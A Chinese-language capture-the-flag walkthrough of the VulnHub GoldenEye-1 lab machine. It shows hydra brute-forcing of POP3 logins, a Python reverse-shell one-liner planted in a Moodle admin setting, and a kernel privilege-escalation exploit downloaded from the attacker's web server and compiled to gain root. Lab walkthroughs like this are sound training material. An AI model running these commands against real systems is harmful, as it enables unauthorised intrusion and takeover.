靶机下载地址:https://www.vulnhub.com/entry/goldeneye-1,240/
靶机信息:
靶机信息里面已经介绍,需要设置成主机模式,并且靶机使用的是DHCP服务,ip地址自动分配
找到靶机ip
靶机ip地址是自动分配,故需要找出靶机ip
在靶机和攻击机器处于同一个网络环境的前提下,我们使用如下命令查找靶机ip
for i in $(seq 128 254);do ping -c1 192.168.157.$i | grep "ttl" ;done
由于我的DHCP分配ip是从128开始,到254结束,所以for循环中从128开始循环递增
IP地址确定:
攻击机:192.168.157.129
靶机:192.168.157.132
信息收集
- 端口扫描
使用nmap对该ip进行端口扫描
对各端口使用TCP和UDP进行服务探测,系统信息进行探测
访问该ip的80端口,出现提示导航到 /sev-home/ to login
等字样,访问该导航,弹出登录框,显然,我们并不知道账号密码,测试弱口令无果,此路不通
- 目录扫描
使用kali自带扫描工具
feroxbuster -u http://192.168.157.132
结果只有3个200,其余全是404
访问js文件,发现可靠信息,其中大致内容讲的是,Boris的密码被写在了js文件中,进行了html的编码,并且Natalya可以破解他的密码
InvincibleHack3r
解码结果:
InvincibleHack3r
得到账号密码后再次访问登录框,登录失败,将大写换成小写后,登陆成功!页面再次提示说已经修改了pop3的默认端口(pop3默认端口为110),从之前端口扫描的结果来看,55007端口应该就是pop3了,使用kali远程连接测试一下,发现连接成功,55007就是pop3的端口无疑了!!!
telnet 192.168.157.132 55007
给大家普及一下pop3的基本操作命令:
登录相关:
user+username | 输入用户名,如:user boris |
---|---|
pass+passwd | 输入密码,如:pass 123456 |
其他命令:
命令 | 详情 |
---|---|
list | 查询邮箱中的所有邮件信息,以列表形式列出,自动生成邮件序号。如果指定某一序号则只显示指定邮件信息 |
retr | 指定邮件序号查看某邮件内容 |
stat | 查询邮箱中的所有邮件的统计信息,一般只有邮件总数和所有邮件占用的字节大小 |
uidl | 根据邮件的序号查询该邮件的唯一标志符 |
dele | 指定邮件序号将某封邮件设置删除标记,当执行退出命令 quit时将实际删除所有具有删除标记的邮件 |
top | 获取某邮件的邮件头和邮件体中的前n行内容,指定邮件序号和n,以空格符隔开 |
远程连接成功后,输入之前得到的账号密码,发现登录失败,显然,这个账号密码不对
- 爆破!!!
根据之前拿到的账号密码无法登录pop3,也没办法通过其他突进找到突破口,此时唯一的办法就是爆破,来吧,我们一起爆破试试,将之前的两个账号都进行爆破
hydra -s 55007 -l boris -P /usr/share/wordlists/fasttrack.txt 192.168.157.132 pop3
hydra -s 55007 -l natalya-P /usr/share/wordlists/fasttrack.txt 192.168.157.132 pop3
成功拿到账号密码,登录查看boris的邮件,发现并没有什么可利用的信息,再次登录natalya的账户发现了一个账户名和密码
在natalya的第二个邮件中还提到,需要将ip指向severnaya-station.com这个域名,也就是需要我们在kali的/etc/hosts
文件中添加
vim /etc/hosts
然后浏览器访问severnaya-station.com/gnocertdir
出现一个页面,并且有登录按钮,将在natalya
邮件的第二个邮件中的账号密码拿来登录测试
登录成功!!!
但是在里面找了一番后并没有发现有用的东西,唯一的一个就是有一封邮件,是doak发的,此时我们又获得了一个用户名
按照之前的方法,我们再次将此用户名用于爆破!!!成功拿到账号密码
登录到doak的账户,发现可用信息,告诉我们使用这个账号密码登录网站挖掘更多信息
登录该账号,发现有一个s3cret.txt
的文件,下载下来查看一下
发现文件中提示我们访问/dir007key/for-007.jpg这个路径,访问后得到一个图片
想了半天,也没想明白这个图片给我们干嘛,也没有可利用信息,最后想到一个,可能存在隐写,好,既然想了就要去做,行动起来,将图片下载下来,使用kali自带的工具查看是否存在隐写
wget http://severnaya-station.com/dir007key/for-007.jpg
黄天不负有心人,果然存在隐藏信息,使用base64解密得到xWinter1995x!
貌似是一个密码,但是并不知道对应的账号,这里我使用爆破的方式,并没有得到结果,图就不放了,但是后面尝试在登录页面输入,猜测密码为root/admin
,在测试admin
的时候登录成功
至此,我们目前收集到的信息如下:
ip :192.168.157.132
port: 80(http) 25(smtp) 55006(ssl/pop3) 55007(pop3)
user passwd
admin xWinter1995x!
boris secret1!
natalya bird
doak goat
dr_doak 4England!
域:severnaya-station.com
cms : Moodle
语言:php 5.5.9
中间件:apache 2.4.7
操作系统:ubuntu
- 反弹shell
通过对admin页面的观察,发现一个命令执行的地方,路径如下:
Home / ► Site administration / ► Server / ► System paths
使用bash反弹不成功,测试使用python反弹成功了,将代码放上去后点击保存,出现绿色字体表示保存成功
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.157.132",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
kali使用nc监听
nc -lvnp 4444
然后点击到my profile----->Blogs----->Add a new entry
里面,然后随便输入一点东西,点击下图中的标签即可
反弹成功
- 主机信息收集
成功反弹,接下来就该我们收集信息了
id
unmae -a
查看到我们是一个低权限用户,而这个flag在root文件下,我们直接进入root文件提示我们没有权限访问
此时我们就需要提权了,通过kali自带的漏洞库来进行查看是否存在历史漏洞
searchsploit linux ubuntu 3.13.0
这里我选择使用第一个文件,先找到37292.c这个文件,然后开启http服务,在靶机上面使用wget命令进行下载
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/hack
python -m http.server 80
然后,在靶机上面找到那个文件运允许当前这个用户执行命令
ls -l /
显然 tmp
文件允许当前用户执行命令,我们进入到tmp
文件中,使用wget命令进行下载
wget http://192.168.x.x/37292.c
此时,查看靶机上是否有gcc(注意:这里我犯了一个错,因为靶机上不存在gcc,只能使用cc进行编译,所以需要修改文件中的代码,将gcc该为cc,然后再传到靶机上!!!!)
gcc -version
这里提示并不存在gcc,所以只能使用cc进行编译
我们现在kali上修改好文件,然后再传到靶机上,将文件中的gcc改成cc
传到靶机上以后,使用如下命令进行编译
cc -o exp 37292.c
编译的时候会报错,但是不用管,编译完成后,ls
一下就可以看exp文件,然后就是给exp文件高权限,然后运行即可
chmod 777 exp
./exp
成功获得root权限!!!
进入/root
文件,发现是空的,使用ls -a
显示出flag.txt文件